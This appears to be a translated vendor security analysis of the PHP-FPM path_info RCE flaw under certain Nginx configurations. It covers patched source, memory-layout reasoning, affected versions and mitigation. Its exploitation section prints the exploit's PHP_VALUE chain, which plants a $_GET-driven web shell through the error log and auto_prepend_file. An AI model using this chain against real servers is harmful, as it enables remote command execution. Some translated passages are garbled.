Overview of vulnerabilities
PHP-FPM has an arbitrary code execution vulnerability in a specific Nginx configuration.Specifically:
Servers built with Nginx + PHP-FPM use nginx.conf similar to the following configuration:
1 location ~ [^/]\.php(/|$) { 2 fastcgi_split_path_info ^(.+?\.php)(/.*)$; 3 fastcgi_param PATH_INFO $fastcgi_path_info; 4 fastcgi_pass php:9000; 5 ...
fastcgi_split_path_info in Nginx will leave PATH_INFO passed to PHP-FPM empty (PATH_INFO=") when processing path_info where'\n'(%oA) exists, affecting the direction of key pointers, resulting in a controlled zero position for subsequent path_info[0]=0 operations. By constructing requests for a specific length and content, you can overwrite specific location data, insert specific environment variables, and result in generationsCode execution.
Vulnerability Analysis
First, analyze its patch: In the static void init_request_info(void) function that initializes the request_info structure, size checks are added to the pilen and slen to avoid unexpected backtracking of the pointer.
1 // php-src/sapi/fpm/fpm/fpm_main.c 2 ... 3 if (pt) { 4 while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) { 5 // Check the incoming PATH_INFO.Get true PATH_INFO by judging file status 6 *ptr = 0; 7 f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) { 8 int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH 9 int slen = len - ptlen; //script length 10 int pilen = env_path_info ? strlen(env_path_info) : 0; //Path info length 0 11 int tflag = 0; 12 char *path_info; 13 14 if (apache_was_here) { 15 /* recall that PATH_INFO won't exist */ 16 path_info = script_path_translated + ptlen; 17 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0)); 18 } else { 19 - path_info = env_path_info ? env_path_info + pilen - slen : NULL; // New env_path_info is set by offset, but offset is not checked 20 - tflag = (orig_path_info != path_info); 21 + path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL; 22 + tflag = path_info && (orig_path_info != path_info); 23 } 24 25 if (tflag) { 26 if (orig_path_info) { 27 char old; 28 29 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info); 30 old = path_info[0]; 31 path_info[0] = 0; //Zero Operation 32 if (!orig_script_name || 33 strcmp(orig_script_name, env_path_info) != 0) { 34 if (orig_script_name) { 35 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//Trigger Entry 36 } 37 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info); 38 } else { 39 SG(request_info).request_uri = orig_script_name; 40 } 41 path_info[0] = old; 42 } 43 ...
among
1 //Take http://localhost/info.php/test?a=b for example 2 PATH_INFO=/test 3 PATH_TRANSLATED=/docroot/info.php/test 4 SCRIPT_NAME=/info.php 5 REQUEST_URI=/info.php/test?a=b 6 SCRIPT_FILENAME=/docroot/info.php 7 QUERY_STRING=a=b 8 9 pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test" 10 len = script_path_translated_len // For'/docroot/info.php/test' 11 12 // After recalculation 13 int ptlen = strlen(pt); // strlen("/docroot/info.php") 14 int pilen = env_path_info ? strlen(env_path_info) : 0; // That is len(PATH_INFO) "/test" 15 int slen = len - ptlen; // len("/test") 16 17 path_info = env_path_info + pilen - slen; // The pilen value may not be 0 or slen, that is, offset to 0 or -N
Visible, when PATH_INFO is empty, path_info points to a forward offset of length test.Then path_info[0] = 0; you can zero a single byte at a specific location.However, a common position of zero does not cause RCE, further use requires that a specific control position be zero, which happens to control the write position.This is where request->env->data->pos is located.Here you need to explain how each variable is stored.
Each environment variable passed in through the fastcgi protocol is stored in the fcgi_request->env structure, which is defined as follows:
1 // php-src/sapi/fpm/fpm/fastcgi.c 2 typedef struct _fcgi_hash_bucket { 3 unsigned int hash_value; 4 unsigned int var_len; 5 char *var; 6 unsigned int val_len; 7 char *val; 8 struct _fcgi_hash_bucket *next; 9 struct _fcgi_hash_bucket *list_next; 10 } fcgi_hash_bucket; 11 12 typedef struct _fcgi_hash_buckets { 13 unsigned int idx; 14 struct _fcgi_hash_buckets *next; 15 struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE]; 16 } fcgi_hash_buckets; 17 18 typedef struct _fcgi_data_seg { 19 char *pos; 20 char *end; 21 struct _fcgi_data_seg *next; 22 char data[1]; 23 } fcgi_data_seg; 24 25 typedef struct _fcgi_hash { 26 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE]; 27 fcgi_hash_bucket *list; 28 fcgi_hash_buckets *buckets; 29 fcgi_data_seg *data; 30 } fcgi_hash; 31 ... 32 /* hash table */ 33 //Initialization operation 34 static void fcgi_hash_init(fcgi_hash *h) 35 { 36 memset(h->hash_table, 0, sizeof(h->hash_table)); 37 h->list = NULL; 38 h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); 39 h->buckets->idx = 0; 40 h->buckets->next = NULL; 41 h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // Default allocation (4*8 - 1) + 4096 42 h->data->pos = h->data->data; //Point to the initial write location of the environment variable 43 h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; point//End of data_seg 44 h->data->next = NULL; 45 } 46 ...
Among them, we focus on get/set operations, which are implemented as follows:
1 static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len) 2 // Associated FCGI_GETENV() 3 { 4 unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; 5 fcgi_hash_bucket *p = h->hash_table[idx]; 6 7 while (p != NULL) { 8 //Require same hast_value, same var_len to fetch value 9 if (p->hash_value == hash_value && 10 p->var_len == var_len && 11 memcmp(p->var, var, var_len) == 0) { 12 *val_len = p->val_len; 13 return p->val; 14 } 15 p = p->next; 16 } 17 return NULL; 18 } 19 20 static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len) 21 // Associated FCGI_PUTENV() 22 { 23 unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // Calculate hash_value to determine index 24 fcgi_hash_bucket *p = h->hash_table[idx]; //Get the corresponding value in the original hash_table 25 26 while (UNEXPECTED(p != NULL)) { 27 if (UNEXPECTED(p->hash_value == hash_value) && 28 p->var_len == var_len && 29 memcmp(p->var, var, var_len) == 0) { 30 31 p->val_len = val_len; 32 p->val = fcgi_hash_strndup(h, val, val_len); 33 return p->val; 34 } 35 p = p->next; 36 } 37 38 if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) { 39 fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); 40 b->idx = 0; 41 b->next = h->buckets; 42 h->buckets = b; 43 } 44 45 p = h->buckets->data + h->buckets->idx; 46 h->buckets->idx++; 47 p->next = h->hash_table[idx]; 48 h->hash_table[idx] = p; 49 p->list_next = h->list; 50 h->list = p; 51 52 p->hash_value = hash_value; 53 p->var_len = var_len; 54 p->var = fcgi_hash_strndup(h, var, var_len); 55 p->val_len = val_len; 56 p->val = fcgi_hash_strndup(h, val, val_len); 57 return p->val; 58 } 59 60 static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len) 61 // Actual operation request->env->data to write data. 62 { 63 char *ret; 64 65 if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { 66 //Insert a new fcgi_hash_seg forward if the length of the data you are about to write is greater than the size of the fcgi_hash_seg you are currently pointing to 67 unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//Long value, not written across two seg s. 68 fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size); 69 p->pos = p->data; 70 p->end = p->pos + seg_size; 71 p->next = h->data; 72 h->data = p; 73 } 74 75 ret = h->data->pos; 76 memcpy(ret, str, str_len); //Write data after h->data->pos 77 ret[str_len] = 0; 78 h->data->pos += str_len + 1; //Move back h->data->pos to a new writable location 79 return ret; 80 }
From this, we can conclude that the direction of request->env->data->pos directly affects our environment variable Key, where Value is written, and that as long as we control the direction of char* pos, we may overwrite existing data.However, the following requirements and limitations exist to achieve RCE:
- Pointer forward is affected by the current fcgi_hash_seg spatial structure. Too short a char* pos cannot be zero, and too long a char* pos is allocated to the new fcgi_hash_seg space.(Passing "like" http://127.0.0.1/Somefile_exits/AAAAA.php/"can also cause pointer to move backwards,)
- path_info[0] = 0 can only zero a single byte, preferably the lowest bit, or it will cause too many pointer positions to deviate.
- Given that condition 2 should be overwritten with a minimum bit of 0, followed by a qualifying overridable environment variable.
- The key of the overridden location environment variable must be the same as the key expected to be written: var, hash_value, and var_len to be read.
- When FCGI_PUTENV (request,'ORIG_PATH_INFO', orig_path_info) is executed, ORIG_SCRIPT_NAME, orig_script_name (ORIG_SCRIPT_NAME/index.php/PHP_VALUE\nAAAAAA) is written, respectively.
Accordingly, we can:
- By controlling the length of the query_string, the path_info happens to be in the first place in the data of the new fcgi_hash_seg, at which point we only need to move 8+8+8+len ("PATH_INFO\0") +N = 34+N to complete the tampering with char* pos.Meets the requirements of condition 1,2.
- By customizing the http header, manipulating the length of the request header places the expected override of environment variables in a specific location (0x_u_00+len ("ORIG_SCRIPT_NAME") +len ("/index.php/").Requirements 3,5 are met.(In NGINX, the request header in HTTP is passed into PHP-FPM as "HTTP_XXX" and then written into request-env)
- The Exp author provided EBUT, a custom header whose env variable name HTTP_EBUT is equal to PHP_VALUE in length and hash_value, and PHP_VALUE will be tried to read in subsequent processing (ini = FCGI_GETENV (request,'PHP_VALUE');Requirements under condition 4 are met.
In addition, given that PATH_INFO revaluation part of the logic deals mainly with situations where PATH_INFO is different from real path_info, there is a case for the nginx configuration item mentioned at the beginning where URLs such as http://localhost/index/info.php/test?a=b can be initiated to construct the following scenarios
1 //For example, with http://localhost/index/info.php/test?a=b, index is an existing file 2 PATH_INFO=/test 3 PATH_TRANSLATED=/docroot/index/info.php/test 4 SCRIPT_NAME=/index/info.php 5 REQUEST_URI=/index/info.php/test?a=b 6 SCRIPT_FILENAME=/docroot/index/info.php 7 QUERY_STRING=a=b 8 9 pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test" 10 len = script_path_translated_len // For'/docroot/index/info.php/test' 11 12 // After recalculation 13 int ptlen = strlen(pt); // strlen("/docroot/index") 14 int pilen = env_path_info ? strlen(env_path_info) : 0; // That is len(PATH_INFO) "/test" 15 int slen = len - ptlen; // len("/info.php/test ") 16 17 path_info = env_path_info + pilen - slen; // Pilen < slen, that is, offset to -N
At this time, pointer shift can also be completed without the presence of%0A in the URL. The vulnerability process is similar to that described above, but because script_name is invalid, it is not possible to visualize the state of the attack, so it is difficult to make use of it.
Vulnerability Utilization
The Exp author uses PHP_VALUE to pass multiple environment variables to PHP, causing PHP to produce errors, outputs the web shell as an error log to/tmp/a, and automatically executes malicious code in/tmp/a through auto_prepend_file to achieve getshell.
1 var chain = []string{ 2 "short_open_tag=1", //Open short php tab 3 "html_errors=0", // Turn off the HTML tag in the error message. 4 "include_path=/tmp", //Include Path 5 "auto_prepend_file=a", //Specifies the files that are automatically included before the script executes, similar to require(). 6 "log_errors=1", //Enable error log 7 "error_reporting=2", //Specify error level 8 "error_log=/tmp/a", //Error Logging File 9 "extension_dir=\"<?=\`\"", //Specify the load directory for the extension 10 "extension=\"$_GET[a]\`?>\"", //Specify the extension to load 11 }
Scope of influence
With the configuration mentioned earlier, this vulnerability affects the following versions of PHP:
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11
Bug Repair
The cgi.fix_pathinfo=0 option can be set by adding the configuration try_files%uri = 404php to Nginx to temporarily avoid vulnerability effects.You can also choose to use updates that have been officially released for full repair.
Jingdong Cloud-WAF now supports the protection of this vulnerability, click [ Read Get more product information.
Welcome to click " Jingdong Cloud "Learn more